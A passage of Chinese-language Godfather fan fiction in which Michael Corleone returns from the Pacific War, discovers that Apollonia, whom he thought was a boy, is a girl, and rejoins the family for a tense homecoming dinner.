四年的时间,初中到高中,他没有取得艾波那样伟大的成就——三分钟泡面风靡全美、是最天才的商品——尽量努力成长,好配得上他的艾波。
同样,四年的时间,迈克尔疯狂地嫉妒着程乔义。为什么有些人生来就能成为他的左膀右臂,有些人无论如何努力都走不进他的内心?
迈克尔想,程乔义一定不会对艾波产生这样的想法。也不会把他当做女人来幻想。简直龌龊的想法,迈克尔恨透了梦见这一切的自己,像头动物、像个懦夫。
他不敢见艾波。他配不上艾波。
可是,他的艾波没有放弃他。
那张漂亮的小嘴说什么了?他担心他,他要管他,他要纠正错误。
迈克尔头晕目眩。迈克尔浑身颤抖。他剖白了内心,剖白的一切想法,换来的是什么呢?呵,家人。
仿佛一大桶没有成熟就被采摘的柠檬汁灌进喉咙,又酸又涩,却一下子让迈克尔恢复了理智。
他拿出这些年锻炼、摸索出的技巧,用优美的语言粉饰欲望,织出一张漂亮精致的网,悄无声息地罩住艾波。理智的计算每一个词的表情和动作,以至于他都忘记品味握住他时的触感。
艾波真的相信了他。那双从第一眼就让他着迷的漂亮眼睛里第一次出现了忐忑和不自信。他压抑着抓住猎物的喜悦,与此同时,他的心脏也随之一阵紧缩,为所谓的秘密。
在他决心说出秘密的这一刻,如同浪涛中心张满帆的渔船,磅礴的喜悦劈头灌来,开心得灵魂发麻,仿佛要被狂风撕裂成碎片,飘飘荡荡,然后化作他脚下的一撮泥土。
然后呢?
迈克尔惊讶于自己竟然能同时保持卑微与自负。他听到自己以绝对耐心冷静的语气回答:“当然,艾波,我接受。这和任何人无关,只是因为你是我的弟弟,我爱你。”
内心深处、黑暗到毫无波动的角落,某个声音回荡——确实只是他脚边的泥土,甚至连沾上鞋底的资格都没有。
“你真好,迈克!”艾波露出喝完睡前牛奶般的甜笑,曾是他期盼一天结束、夜幕降临的原因。现在也是。
迈克尔安慰自己,不过变一变脑海中的未来图景,十年之后,站在他身旁的人从胸大屁股大的女性变成了平直的男人,他们一样会吵架。只要他够强大,艾波一样离不开他,将他视为依靠。
只是,午夜梦回,从温度灼人的梦境苏醒,迈克尔总是望着漆黑的天花板,听到喉间逸出一丝狼狈且不甘——“为什么?”
说不清在质问什么。
他喜欢女人,一想到和男人肉贴肉地躺在一起就恶心。没办法像程乔义那样得到艾波的垂青是他活该。
除此之外,迈克尔尽量做到最好。他恢复了往日的状态,以艾波为中心,忽略程乔义的存在,给予足够多的关心与关注。
自37年开始,艾波开始收集东方的抗战新闻做成拼贴簿,迈克尔搞来各种各样的报纸,英语、法语、中文、西班牙语……只要市面上有的,他能在一周之内带给他。
借此,他厚着脸皮陪在在他身旁,看着他一个个地剪下方格状的纸片,又一枚枚粘上。两人有一搭没一搭地聊天,交换对世界局势的看法。
艾波的视野非常独特,立足于全球发展,而不仅局限于某一场战役的得失,冷静客观得像位政客。她咒骂凡尔赛条约各国算计拉扯留下祸根,讥诮墨索里尼的狂妄与背叛,喟叹苏红的牺牲与成长……每每和他谈天,迈克尔总能得到一些新思路。
“瞧,这批物资有我们工厂的一份力!”偶尔的,艾波会举着一片报纸兴奋地说,“离胜利又近了一步!”
也许是这个原因,1941年,珍珠港事变的消息一传回国,迈克尔立即报名加入了海军陆战队。
16.Chapter16
1945年4月,捷报频传,连绵风雪与阴雨褪去,每一株枯灰的枝桠冒出新芽,绿头鸭争奇斗艳,黄水仙灿烂得如同暖阳与大地的久别吻,习以为常的街景也有了别样的新鲜感。
放课铃声响起,开闸泄洪般的人潮散去,艾波和同学们慢悠悠地走出来。
“你们收到布朗大学的回复了吗?”佩吉问。
她是艾波政治、化学课的同桌。另外一男一女是安吉拉和埃里克,分别是三角函数课和物理课的同班同学。
“还没有。”埃里克回答,“总要到下周吧?我哥哥当年……”
姑娘们已经没有心思听他说话了,包括艾波。
校门口正对着一家报刊亭,简易的铁皮亭子里挂着各种报纸杂志,像两翼张开的铁门上则是一格一格的商品,大多是玻璃瓶装的汽水,畅销不差,隔壁的中学生总是爱喝这些糖水儿,时常三五成群、小鸡仔般围住摊主。
可今天,站在花花绿绿商品前犹豫不决的人有着更高大健壮的身材,墨绿色的艾克夹克,肩章上的金属熠熠生辉——两个男人像是一堵墙,站在那里挑选饮料上方格子的香烟,倒把老板衬托得格外娇小。
站在最外侧的是一位金发军官,宽肩窄腰,鼻梁上架着一副虾蟆墨镜,并非日耳曼美男的禁欲严肃,反倒沾有美国气息的明朗自在,阳光与男子气概地结合。
他身旁的同伴更为阳刚一些,头戴大檐帽,凌厉的下颌线、漂亮的屁股下巴,搭配深邃的眉眼,性感又迷人,艾波敢打保票,这家伙绝对在女人堆里无往不利。
金发帅哥对他说了一句话,后者露齿一笑,佩吉不由自主“哦——”出了声,安吉拉早已捂住胸口。
埃里克用力地咳嗽一声。
艾波失笑,埃里克喜欢安吉拉已久,现在怕是醋疯了。她想要缓解尴尬、扯回话题,问问他哥哥去年收到布朗大学回复的时间。话说回来,这两人确实很帅。
忽然,那两个军官朝报刊亭里说了一句话,身体移动,不知不觉漏出一条半人宽的空间。
借由这处间隙,艾波看见了他。
仿佛羽毛落入水洼,击碎宁阔天空的倒影;仿佛璀璨的华尔兹,音符悠扬飘荡;仿佛教堂花窗后烛光忽现,亮起的一道彩虹;仿佛浪潮忽起,撒欢舔舐脚趾。
一瞬间,她的大脑一片空白,方才所有对两名军官外貌的形容连带着全世界尽皆远去。
空气热得不像话,心跳快得吓人,身体脱离大脑指挥般的愉悦,灼热、激动、战栗、放松的愉悦。
只剩他和她。
“…我们艾波…一定……艾波!”埃里克的大喊传来。
她猛地回过神,“抱歉,我没听清,你们在说什么?”
“我们在聊目前给出回复的三所学校,对你来说小菜一碟,一定都收到录取了吧?”埃里克解释。
“没错……”艾波点头,目光仍不听话地胶在那头:“康奈尔…达特茅斯和……”
淹没在那墨绿挺拔的身影里。
佩吉瞧出她的心不在焉,打趣道:“埃里克,你也别说我和安吉拉了,你瞧艾波,她也被那几个帅军官迷住了。艾波,是不是呀?!”
“那是迈克尔.科里昂,我的哥哥。他去年得了紫心勋章和杰出服役十字勋章,”她语气变低,“爸爸说他受伤了,可能因此提前退役。”
安吉拉兴奋地几乎要蹦起来:“我们去和他们打个招呼吧!”
佩吉犹豫着,埃里暗自撇嘴,两人都跟着安吉拉看向她,只不过希望她给出的答案南辕北辙。
这时候,隔着并不拥挤的马路,他若有所觉般瞥过来,那双她曾经无比熟悉的眼睛,深邃地对上她。艾波不明白这是怎么回事,只觉得脸烫得像一团火,心脏像是放了一百只坏掉的钟表咔哒咔哒地乱走。
她该怎么办?她脸红了吗?他是不是看见了?该死的,她是不是该领着衣服揍他一顿,让他忘掉这一切?可她怎么忍心对那张脸蛋动手?要命了,四年不见这家伙怎么会这么好看,真想……各种古怪、可笑的念头如同女巫坩埚里的魔药不断翻滚,咕噜咕噜冒着热气,直到全部蒸发,露出下面最大胆、真实的想法——
“嘿!迈克!”她朝他挥手,大声打招呼,“迈克!”
宽檐帽的军官最先反应过来,三人说了几句话,和金发同伴一起拉着他走过马路,来到她们面前。
互相介绍后,艾波才知道两位军官是迈克尔战友。“我们以前在同一机枪小组,后来分到了不同连队,去年在伤兵营重逢,这回也一起回来了。我叫约翰森.康纳,你们可以叫我约翰,他是埃伦.科里。”金发军官笑容明媚,完全不像从前线下来的模样。
“纽约变化太大了,不知几位先生小姐能否带我们逛逛?”科里拎里拎帽子请求道。
怎么会不愿意呢?当然愿意。
一行人沿着五十六街,往公园大道走。
艾波落在后面,与他并排:“什么时候回来的,爸爸妈妈知道吗?”
“上午刚到。”回答得言简意赅。
他真的变了好多。艾波还记得最后那一年,他和她的关系一度很亲密,一起阅读、晨跑、钓鱼,他是个负责任会照顾人的好哥哥,任何时间、任何地点,只要她说话,他总是第一时间响应,不吝啬任何语言。
炮火死亡的淬炼总是格外残酷,艾波一时不愿细问他这些年的经历、探寻改变他的因由,只能扯些似是而非的话题。
“桑尼第二个孩子也出生了,是女儿,妈妈说和康妮小时候一模一样。”
“是吗。”
“康妮在读女子高中,上个月她们募资义演,她参加了茶花女的合唱,在台上很漂亮。”
“很棒。”
“弗雷多去年在股市亏了几万刀,爸爸勒令他不准独自靠近华尔街。他和你写信说了这件事吗?”
“说了。”
不知不觉,天色逐渐暗了下来,五颜六色的霓虹灯向天空透出一片光幕。七人在地铁站与车站之间道别。
四十多分钟的时间,科里和康纳讲了不少战场上的趣事,不仅博得两位女士的同情心,更成为埃里克的崇拜对象,临行前互相交换了电话。
“迈克,”隔着同学、战友和喧嚣的纽约,艾波直视他,“你今晚住哪里?”
她想问当然不是这个,她想让他一起回家。他能听懂。
可他连看都不屑于看她,仅望着地铁站口斑斓的招牌,露出一个充满距离感的完美笑容:“还没有办完退伍手续,得住旅馆,有津贴。”
说完他又耸耸肩,补充道:“等忙完再回家。”依旧不看她。
这样啊。
直到他那变得宽阔、结实的背影消失在地铁入口,艾波收回目光,望向街角那棵在夜色中嶙峋的、却孕育着无数花苞的樱花树,不由自主笑起来,期待起它肆意绽放的那一天。
她总会尝到他的。
*
战斗是残酷的。
踏入太平洋的那一刻,这句话才血淋淋地在迈克尔展现真容。
在热带小岛闷热腐烂的空气里,战舰沉没牺牲的消息通过无线电不断滴滴传来。然后某一天,真正的夺岛战役开始了。
呼啸的炮弹自头顶和耳边飞过,在震耳欲聋的声响里捕捉长官那比蚊子叫大不了多少的命令,战友们的尸体一路从飞机场铺到一个一个山脊的拼死血战,血肉横飞之中,唯一的休息是龟缩在战壕掩体里紧张地抽烟。
那时刻,纽约的一切都像是薄纱后的昔日幻梦,父亲、母亲、桑尼、汤姆、弗雷多的脸总是一一闪现在眼前,想得最多的当然是艾波,他的笑、他的眼、他揍他时鲜活的神情……然后,香烟燃尽烧到手指,他一下子烫醒,麻木地拿起枪,奋不顾身奔入永无止尽的死亡。
鬼子像是永远杀不尽一样,疯狂地填补进来。整个太平洋乃至东亚就像一块巨大的磨盘,一视同仁地碾磨所有种族。
他后悔吗?并不。
他甚至为此感到庆幸。幸好他更快做出决定,来到这里见证地狱的人是他,而非艾波。
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>战争的伤害是全方面的、深入精神的。在几场战役的间歇,迈克尔见过崩溃自杀的人,更见过寻欢作乐、像虫子般只求一夕放纵的人。女人、男人,在极致的死亡威胁面前,所谓的界限变得没有那么重要。
临行前,艾波给了他一枚柠檬皮做的小盒子,他把它揣在胸口,用来装口香糖巧克力之类的东西。第二年它碎了,他就把碎片缝进作战服内侧,紧贴胸口。它成了他的精神支柱。
改变发生在第三年,又是一场恶劣的争夺战,惨烈可怕,他的连长牺牲了,他也差点死了。炮弹砸下来的时候,一切仿佛是宁静的,疼痛像是从没有存在于世界一般,然后他轻轻飞了起来,硝烟弥漫的灰暗天空蒙落在他的脸庞,砂石摩擦着脸庞,就像艾波小手轻柔地触摸。
他摊在战友们的断肢残躯之上,胸口老牛般呼哧呼哧地喘息。他想,去特么的身体,他就要和艾波在一起。
也许是这个想法。他等来了救援、挺过了危险期,成功活下来。
这场战役存活的人太少了,他被授予勋章,安置在靠近澳大利亚的岛屿养伤。这得以让他联系上家人,如饥似渴地打听纽约的消息,打听艾波的消息。
艾波上了高中,艾波长高了,艾波很健康。
迈克尔一遍遍地在脑海中描摹他的形象,一定是挺拔、俊秀又充满力量。他是全纽约最英俊的少年。
他做梦都想着他。一回到纽约,衣服也没换,立刻马不停蹄地来到艾波学校门口。
紧张、忐忑,手心都出了汗。他要怎么和艾波打招呼呢?
好久不见?不行,太普通了。
你想我吗?不行,会吓到他。
你在杂志上看到我的消息了吗?不行,太自恋。
望着那扇紧闭的铁门,迈克尔一遍又一遍地打着腹稿。
终于,那熟悉又陌生的铃声响起,一张张略显稚嫩的脸庞从里面涌出来,迈克尔一瞬不瞬地注视着,却绝望地没有找到他的艾波。
就在他准备打电话质问弗雷多时,下一秒,那张魂牵梦萦的脸出现了,脸型略有抽长、皮肤愈加白皙,那双眼睛一如既往地闪亮。目光触到她时,他下意识地发出喟叹。
等等,她?
迈克尔重新凝视他的爱人。五英尺半,没错;曼哈顿上城高中,没错;可、可,他怎么穿着裙子…?
这一定是梦!那种讨厌的、卑懦的、屈从于身体本能的梦!
他,迈克尔.科里昂,在太平洋战场几大恶劣战役熬出来的男人,从没像这一刻这么像逃兵。躲进报刊亭。
快醒来快醒来快醒来。正当他默念这句话,在未发生更荒诞的剧情之前醒来时,她看了过来。
那双眼睛,直视他的时候,身体好像不停使唤般走向它的主人。
梦里的约翰森、埃伦和现实中一样虚伪,惯于俘获女人好感。和艾波的同学们说说笑笑。
他和艾波并排走在他们后面,她笑着聊天,内容毫无营养,乏味到只有他荒诞的被精虫占据的大脑才会想出来。她才不会说这些话。
完全不敢看她。
他很清楚后面会发生的事。她的衣服会因为他的注视消失,然后她会像那些画报、电影里的女人一样缠上来,用她的胸脯蹭他……
得赶紧离开、离开这个梦境,他想。
而离开一个梦最好的办法是睡觉了。
行李早已送到旅馆,办理完入住手续,迈克尔和两位战友打了声招呼便快速回房间。穿着衣服躺进被子,却了无睡意。于是打电话叫了一瓶烈酒,未加冰地灌下,倒头昏睡。
次日,迈克尔在急促地敲门声中醒来,床头的钟表显示十一点。
下床打开门,迎接他的是一个用力的熊抱:“迈克,你这臭小子,要不是艾波,我们都不知道你回来了!”
“……艾波是指艾波洛尼亚?”望着哥哥那张几乎没有变化的脸,迈克尔犹豫着说出昨天听到的她的名字。
“对啊。”桑尼爽朗一笑,“她是女孩儿。弗雷多没和你说么?”
17.Chapter17
第二天是星期五,上完两节必修课,艾波翘掉下午的毕业演出排练,去了一趟唐人街。
如今的唐人街,除了洗衣店、古董铺、中餐酒楼等传统门面,最多地便是拉面店。小小一间铺面,只够坐七八个人,在四平方公里的范围内,生长出二十多家,味道各有不同。这数字仍在不断增长,预计在战争结束迎来爆发。
时值饭点,街面飘荡着诱人的香味,红烧牛肉、慢熬猪骨、清炖鸡汤、奶油青酱……艾波一路走一路闻,玻璃橱窗后头煮面的老板偶尔瞥见她,笑呵呵地招呼进去吃。
她笑着挥手,加快脚步跑进了一间不起眼的锁店。
“哟,后面谁在追你?”程乔义抬头调侃她,手里捏着报表。
他坐在锁店深处,浅灰的马甲、雾灰的衬衫,身后满墙的黄铜钥匙和通往二楼的小楼梯,正午的行规斜照进来,仿佛纷乱时代洪流中的一隅宁静。
“你说呢?”她走进店里,不忘用粤语和门口董阿叔打招呼,近十年的学习,口音仍然很塑料,但至少能听得懂。
董阿叔朝她比划了一个有进步的手势。
程乔义放下报表,掸去飘在空木凳上的打磨钥匙产生的金属碎屑,说:“莫.格林又发来邀请,希望我们的人加入杀手公司。”
“想得倒是美。”艾波经过堆着老虎钳、台钳、各种锁心的工具台来到他面前坐下,顺手拿起他放下的那份报表看起来。“面粉价格后面还会降低的,仗要打完了,但种下的麦子可不是说换就能换的,不光是面粉,花生油至少还会降两个百分点。”
“我也是这么想的。”程乔义问,“那我们还要降价吗?”
“降啊,必须降。原材料降下来,模仿者只会越来越多,哪怕有专利保护法,也没办法阻止别人绕过去吧。据我所知,芝加哥那边已经出现一种烘焙方便面,采用往熟面饼上刷油、进烤箱烘烤的技术,要真是这样,他们会是未来五年里我们最大的竞争对手。”艾波合拢报表,“我们得在对手壮大前,用打掉他的力气、夺取他成长的养分。”
“和我想得一样,”程乔义笑了,“那新的定价按照原来百分之十五的利润?”
“适当再低一些也行,”艾波摇摇头,“大战要结束了,国内还得打。我们的手不能那么松了。”
不愧为认识她这么多年,程乔义立刻意会,收敛笑意:“你是说——”
“只是一个想法。”艾波扯唇,“你知道的,好几个商业银行欠维多.科里昂人情,今年开春老常几个连襟或多或少都存了小黄鱼。”
他彻底没了笑,低骂一声,又问:“那还要汇物资回去吗?”
可怎么能不汇呢?这正是她纠结的地方,叹了一口气,听到自己轻轻说:“能运就运,吃的穿的看的。如果钱有结余就存在基金会,以后总能用上的。”
日后买高精尖仪器,这些钱作为外汇,总是用得上的。
“好。”程乔义深呼吸,试图平静下来。他说:“对了,你怎么今天就来了?下午没课了吗?”
正常来说她周六解决唐人街的问题,周日上午做礼拜,下午处理科里昂家族的杂事。这几年一直如此。
他这么问了,艾波一下子从思考庞杂事物带来的压力中抽出来,莫名有些不好意思,解释道:“最近可能比较忙,周六暂时抽不出时间。”
“是科里昂那边的事?”程乔义顺嘴问,他看了眼时间,站起来,“差不多该吃午饭了,走?”
用餐高峰已过,赶来享用拉面的白领、护士纷纷消失,街面空荡不少。两人就近去吃了一家羊肉拉面,奶白的汤头、碧绿的大葱碎,面条与海带丝交缠,滋味鲜美浓郁。
等吃完,艾波擦着嘴角汤汁和鼻尖上的汗,回答他的问题:“是我个人方面的事。”
程乔义扬眉:“看来年初给你算的那卦没有错,你今年走桃花噢——”
这种封建迷信艾波素来不信,可事实如此也不好否认,只瞪了他一眼,“结账!”
走出店铺,身后付完钱的程乔义追上来,用粤语低声问:“莫.格林那边怎么办?他肯定不会轻易放弃。”
“没事,他很快就没心思拉我们入伙了。”艾波笑道,“要有大生意做了。”
“好。”程乔义没有继续送她,停在锁店前,朝她挥手,“随时联系,争取年底喝你喜酒。”
喜酒?
直到回到长滩别墅,艾波脱下校服群,换上居家连衣裙,想到这个词她仍然忍不住笑起来。
她怎么会和迈克尔.科里昂结婚呢?
虽然她爱维多、爱卡梅拉、爱桑蒂诺、爱桑德拉……喜爱家里每一位成员,可老实说,这并不是她理想配偶家庭。
她身份复杂,既是养女也是部下,最合适的配偶应该是克莱门扎、特效手下得力干将,这样她才能保证手中权力不被分薄的前提之下,扩大在家族中实际掌控力。
嫁给家族的核心成员,她的待遇非但不会更近一步,反而会因为服务丈夫,而被要求放弃一部分实权。
更别说桑蒂诺已经开始在外面乱搞女人了,她可不想也步桑德拉这种苦中作乐生活的后尘。
这样想着,艾波走下楼,准备打开收音机,窝进起居室的沙发里听听新闻。
家门忽然打开,桑蒂诺呼呼喝喝地走进来。
“妈妈——妈妈——快看谁回来了”冷不丁地和她碰上,他那张爽朗的面庞绽放出更快活的笑,“艾波!迈克回来了!这家伙竟然不知道你是女孩!”
艾波看向他身后的男孩,哦,应该说男人,照旧穿着一身海军陆战队的军装,暗绿的色泽,站在门框的阴影里,如同一重山。
“是吗,”她感觉自己的身体化作一条河,本能地向他汇去,笑容不由自主地淌出来,“这真是太好玩了。”
可迈克尔.科里昂似乎并不这么认为。面无表情地望着她,仿佛浓郁的情绪占据了眼眸,既不是困惑也不是亲昵,更为复杂、疏离。
心跳快得几乎颤抖起来,艾波偏过头,尽量状若无事地说:“妈妈和桑德拉去市场了,她们想要买些牛肚晚上炖着吃。”
“好吧,”桑蒂诺无所谓地耸肩,朝院子里的纽扣人喊道,“卡尔——快把迈克的行李放进客房。”
“您家吗?”
“蠢货!”桑蒂诺走下门前台阶,穿过院子来到车前,一掌拍上卡尔的脑袋,骂骂咧咧教育道,“我弟弟当然和我爸妈住。”
他催促纽扣人拿行李,朝纹丝未动的亲弟弟说:“迈克,快进去!你回家了。艾波,给他找个花瓶,一定要放在妈妈一眼看见的位置。”
艾波这才注意到年轻军官手里捏着一株单头玫瑰,紫色近肉桂的颜色,可怜巴巴地连包装纸都没有。
她只得打开专门放器皿的柜子,最里面的角落里翻出一只定窑梅瓶。迈克尔一言不发地跟着,好像对这个阔别已久的家无所适从,需要人引路一样。
用目光比了下瓶子和那支花,她把瓶子递给他,让他坐一会儿,自己从厨房后门进入花园,粗粗逛了一圈,在已经抽出嫩叶的灌木丛里剪下一根细长树枝。
树枝和玫瑰一同插进花瓶。树枝细瘦绵延,枝桠顶部长着仿佛无线延伸的新绿,玫瑰精巧饱满,在瓶口附近盛放。一松一紧,一满一疏,是能成为油画静物的和谐画面。
艾波满意地点头:“妈妈要是喜欢,这里面因为有我的一份功劳,你得谢谢我。”
这话说完,她才反应过来眼前这家伙不是桑蒂诺程乔义,是她想睡的人,不免想要装一装,“我的意思是说…”
“谢谢你。”他打断她,那双漆黑的眼睛一瞬不瞬地注视着她,声音明明很轻,却有种用尽全身力气、用尽全部意志力的感觉。
好像他的灵魂早已沉溺在某种泥淖般的境地,时时刻刻都无法自拔地下坠。这实在太奇怪了。艾波回望着他,直视那双眼睛,尝试从静谧到极致的黑里挖掘出指甲盖大小的真相……就在即将摸到头绪的前一秒,桑蒂诺的大嗓门传来。
“放到二楼北面第二间房!”他指挥完纽扣人,走进餐厅见到那花夸赞道,“真好看!”
艾波早已收回目光,“要吃些水果吗?我中午买了些草莓回来。”
“好啊,”桑蒂诺拉开餐椅,自己坐下后不忘招呼弟弟,“迈克,快坐。”
厨房是半开放式的,水槽和餐厅隔着三英寸高的吧台,艾波一面清洗草莓,一面用眼角余光瞧那人。虽然这个比喻不太恰当,但艾波就是觉得自己变成了一只狗狗,而他是那颗球,有着完全无法抵抗的诱惑。因为她的眼睛总是离不开他。
柔顺的黑发,隽秀的五官,经过战火淬炼的气质,以及笔挺军装包括下的健壮身躯……组合成一种难言的魅力。以前怎么就没发现这家伙这么有潜力呢?
好不容易洗好了草莓,艾波唯恐再看下去被桑蒂诺瞧出端倪——这家伙肯定会传得全家都知道——把整盘草莓放到他们面前,拣起一颗咬了一口,丢下一句我去看书了,就跑去了起居室。
*
一整个上午,迈克尔都处于一种嘈杂混沌的状态里,仿佛接收太多讯息的旧电台,模糊成一片滋滋啦啦。
“三年前的事了,当时我也吓了一大跳,但爸爸妈妈好像早就知道了,并不吃惊。”桑尼说。
是啊,爸爸当然知道。迈克尔终于明白她向他表露心迹那天说喜欢男孩是什么意思了。她是女孩儿,怎么会不喜欢男人呢?
她可
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真坏。那天的情形一如昨日清晰,迈克尔要想要咬牙切齿地咒骂她,却发现自己早已不由自主地笑起来。
“所以你同意了?”
迈克尔回过神,“什么?”
桑尼用力拍他肩膀:“住回家里啊!爸爸虽然说让我们不要管你,可作为汤姆向征兵局打电话询问你消息时,他也没阻止。他一定希望你和我们住一起的。”
迈克尔的思绪又飘远了。他看见艾波穿着雪白的婚纱从光芒万丈地教堂入口向他走来,他们将会在上帝、牧师乃至全世界的见证下,永远地在一起。哪怕死亡也无法将他们分离。
“要是你还担心爸爸不高兴,或者心有芥蒂,要不住到我家来?”见他没出声,桑尼犹豫着说,“不过凯西半夜要起来尿尿,老是哭,和我们住一幢屋子,可能晚上睡眠会不好。”
“不行!”迈克尔赶紧回绝,随即意识到拒绝得太快,赶忙打补丁,“我还是和爸爸住吧,妈妈会帮我说话的。”
“这倒是。”
得了准话的桑尼马不停蹄地让手下搬行李,迈克尔办理退房,给两位战友留言告知去向。他有预感,这两人会是未来的重要人脉之一。
坐进黑色轿车,迈克尔已经调整过来,正打算不动声色地打听打听艾波身边的男人,忽然望见马路对面花店那一铁桶一铁桶的玫瑰里,有一株颜色格外美好——紫色,带着淡淡的棕,就像她的眼睛。
这花就像是为她开的。就像他一样。
迈克尔叫停了车,走过马路,买下这株独一无二的玫瑰。回到车内,桑尼好像说了一些话,他全都没有听进去,脑子里只有晚上她见到这花时的反应,要是她夸它漂亮,到时他一定要和她回答,它不及你的万分之一。
今天是星期五,迈克尔一想到还要等待漫长的几个小时才能见到她,心里就不可遏止的烦躁,恨不得抛开桑尼,跑到她学校去。
迈克尔确实考虑了这一计划。最终选择放弃。原因无他,担心吓到艾波。
她是娇嫩的女孩。迈克尔想,艾波是男孩的时候他都不舍得他哭,更何况她是女孩呢?她享有保护、尊重和他全部的爱。
谁知她竟然在家。就那么站在楼梯前面,近到几乎让他窒息。那大大的眼睛,浓密纤长的根根睫毛,深紫色波点长裙,歪头打量他时,可爱得让他浑身颤抖,甚至一度想变成一阵可有可无的穿堂风,好尽情地拥抱她、亲吻她全身的每一处。
“要放在妈妈一眼看到的位置!”桑尼说。
迈克尔下意识想要反驳,想要告诉她,这是为她买的,是独属于她的礼物。可身体像是灌了铅、罢了工,每一处关节肌肉都叫嚣着想要触摸她,傻愣愣地跟在她身后。
他的行为好像惹她不高兴了。她径直把瓶子塞进他手里,又用冷淡到极点的语气命令道:“你坐这里别动。”
迈克尔乖乖坐下,隔着厨房的后窗,她走在洒满阳光的花园,仿佛全宇宙的中心。像她这样可爱完美的女孩,当然可以肆意妄为了。
很快,她回到了屋内,空气里再次充满她的气息。
她摆弄花和树枝时,阳光恰到好处地落在她的指尖,纤细修长的手指仿佛在发光。可他那时的想法却与光明毫无关系,他只想要挥开那花瓶,抢过她的手,好让她也如此认真、细致地触摸他……
终于,在他身体彻底起反应之前,那双小手离开了花。她扬着小脸,狡黠地说:“妈妈要是喜欢,这里面因为有我的一份功劳,你得谢谢我。”
心脏扑通扑通跳个不停,她的话像是电影般自动慢速回放,同时,热血涌遍四肢,身体该死地开始不听使唤。哪怕在生死攸关的战场,迈克尔都没有经历过这种可怕的状态,近似于极致恐惧带来的影响,但幸福而磅礴,想要发自内心地放声大笑。
不需要妈妈喜欢,只要你喜欢就好。他想这么说,可最终咕噜着滚出喉咙地只有一个可有可无的谢谢。
他的表现一定很奇怪,她皱起眉开始打量他。她的眼神并不具有攻击性,像是一根毛茸茸的狗尾巴草,细细地扫过面颊,痒得浑身发麻。
就在他在她的折磨下准备缴械投降,老实交待心里的一切想法,将那卑劣的欲念一股脑倒出来,向他的神明、法官坦白时,桑尼进来了,嘀嘀咕咕地和他说话。
为避免玫瑰的乌龙再次发生,这次他分出一半心神在对话,另一半当然在在弯腰洗东西的艾波身上。微弓着身躯,勾出曲线,让人忍不住想要把手放上去,掐住那细细的一截。
这还不算完。她拿起了草莓,红润的果子抵上淡粉的唇,小嘴微张,雪白的牙齿轻轻一咬,汁水飞溅,连带着果肉吞进嘴里,由红嫩的舌头……
桌面底下,迈克尔缓缓叠起了腿。
18.Chapter18
战斗英雄回来的第一顿晚餐很丰盛。
艾波接过盛好的西西里炖菜放上餐桌,又在它旁边放了一块厚厚的桌垫,方便桑德拉直接把整锅热腾腾的炖牛肚端上桌。
瓦斯炉上的平底锅里煎着小羊排,滋啦滋啦地冒着油脂的香味,卡梅拉拎着锅铲转过头来说:“帮我给康斯坦尼学校打个电话,问问她怎么还没有回来。”
她只有生气时才会叫女儿全名。康妮最近总是回来得很迟,周末时常不在家,卡梅拉倒不担心她被外面的小混混欺负,有丈夫在,那些坏男孩不敢对小女儿做什么。她担心的是康妮一时糊涂,被那个卡洛.瑞奇搞大了肚子。
卡梅拉并不掩饰这担忧,可有什么办法呢?
有次礼拜天聚餐,康妮直接当着全家人的面满不在乎地回击:“那就结婚好了。”
当时坐在桌首的维多足足看了小女儿三秒钟,问:“你确定了吗?”
在父亲威严的目光之下,康妮终于回复了一些理智,呐呐地摇头,不敢给出明确答案。
但父亲的权威只奏效了一个星期,后一个周末,这姑娘又像洄游的三文鱼,头也不回地奔向她的应许之地。
桑德拉朝艾波投来求救的一眼。桑蒂诺是康妮和卡洛的介绍人,她出面显得指手画脚、多管闲事了。
“我去打。”艾波说。
她不介意做拆散有情人的恶人。卡洛.瑞奇的眼神很让人讨厌,性格贪婪又短视。脑子还不好使,玩二十一点总是搞错1和11,□□更是能在一小时内把钱输个精光。她可不想以后每个礼拜天都看到对方那张自以为帅气迷人的脸。
刚拿起话筒,外间一阵喧闹。
探头望去,几乎是方才汤姆回来的画面重演,弗雷多亲热地搂着弟弟的肩膀,康妮以青春期少女特有地腼腆笑容打招呼。他们身后维多.科里昂面容严肃地把帽子挂上门旁的衣帽架,像是没有看见许久未回的小儿子。
“人来齐了,”卡梅拉笑吟吟地看着丈夫,在围裙上擦干净手,“今天有好菜。”
仿佛抒发某种妥协后的不满,维多轻轻哼了一声,才宣布道:“那就开饭吧。”
长长的餐桌,因为桑德拉和汤姆妻子特蕾莎的加入,显得很热闹。艾波坐在餐桌中间的位置,对面是两对夫妻,右手边是康妮、弗雷德,左手边……
那人拉开了椅子,暗绿的军装,在眼角余光里鲜明得仿佛马蒂斯精心涂抹的狂想。心跳已经不可遏制地加快,她预感到这是忐忑紧张、心不在焉的一餐了。
正式开饭,卡梅拉兴致勃勃地介绍着每样食物,每人接一两句,席面维持较为和谐的氛围。
除了迈克尔。他没有说话,像是对他父亲冷漠的无声抗议。艾波注意到他吃得很克制,和她一样,只舀了一汤匙炖菜,盘里那块面包还是卡梅拉心疼儿子,强行投喂的。
等连饭后甜点的做法聊明白了,餐桌陷入一阵无话可谈的尴尬。
弗雷多率先打破僵局,边切羊排边伸着脖子越过艾波问:“嘿,迈克,听说你们小队一晚上干掉一千多鬼子?真的吗?”
对面的汤姆重重咳嗽一声,弗雷多反应过来,快速地觑了一眼上首的父亲,赶忙拉回话题,“我们都从杂志上读到你的战绩,你安全回来可真好。”
他寻求支援般左顾右盼,右手边的康妮显然不足以提供有力支撑,只能看向左边:“是吧,艾波?”
艾波默默叹气,放下拨弄炖菜的叉子,举起盛有红酒的高脚杯:“没错,为迈克的平安归来。”
她看向维多.科里昂。作为唐,小儿子为家族之外的集体牺牲的行为让他愤怒、感到了背叛;可作为意大利父亲,迈克尔在社会层面获得的声望让他发自内心感到欣慰,甚至赞赏。
那么现在,科里昂家族的餐桌上,坐着的是哪一个身份呢?
维多拿起餐巾缓缓擦嘴,艾波以为估计错误、他要起身离席时,这位大权在握的父亲举起了杯子,威严的面庞笑意蔓延:“为迈克尔平安归来。”
紧张的气氛随之一松,所有人都高举酒杯祝贺。祝酒后,大家七嘴八舌地夸奖他气色好,仿佛他只是出了一趟远门,而非命悬一线的太平洋战场。
席间又聊了许多事,艾波全都没有听,整颗心飘飘荡荡,漫无目地乱想。
他的酒杯在她的左前方,一次次地举起,又一次次落下,粗粝的手指明明捏着的是高脚杯精细的玻璃腿,却让人联想到至多五个月以前,它们还紧扣住冷硬的枪身,在硝烟弥漫、枪林弹雨中搏得一线生机。
在今晚这温暖安宁的氛围里,她忽然想问问他,后悔吗?
“听说你参加了话剧表演?”
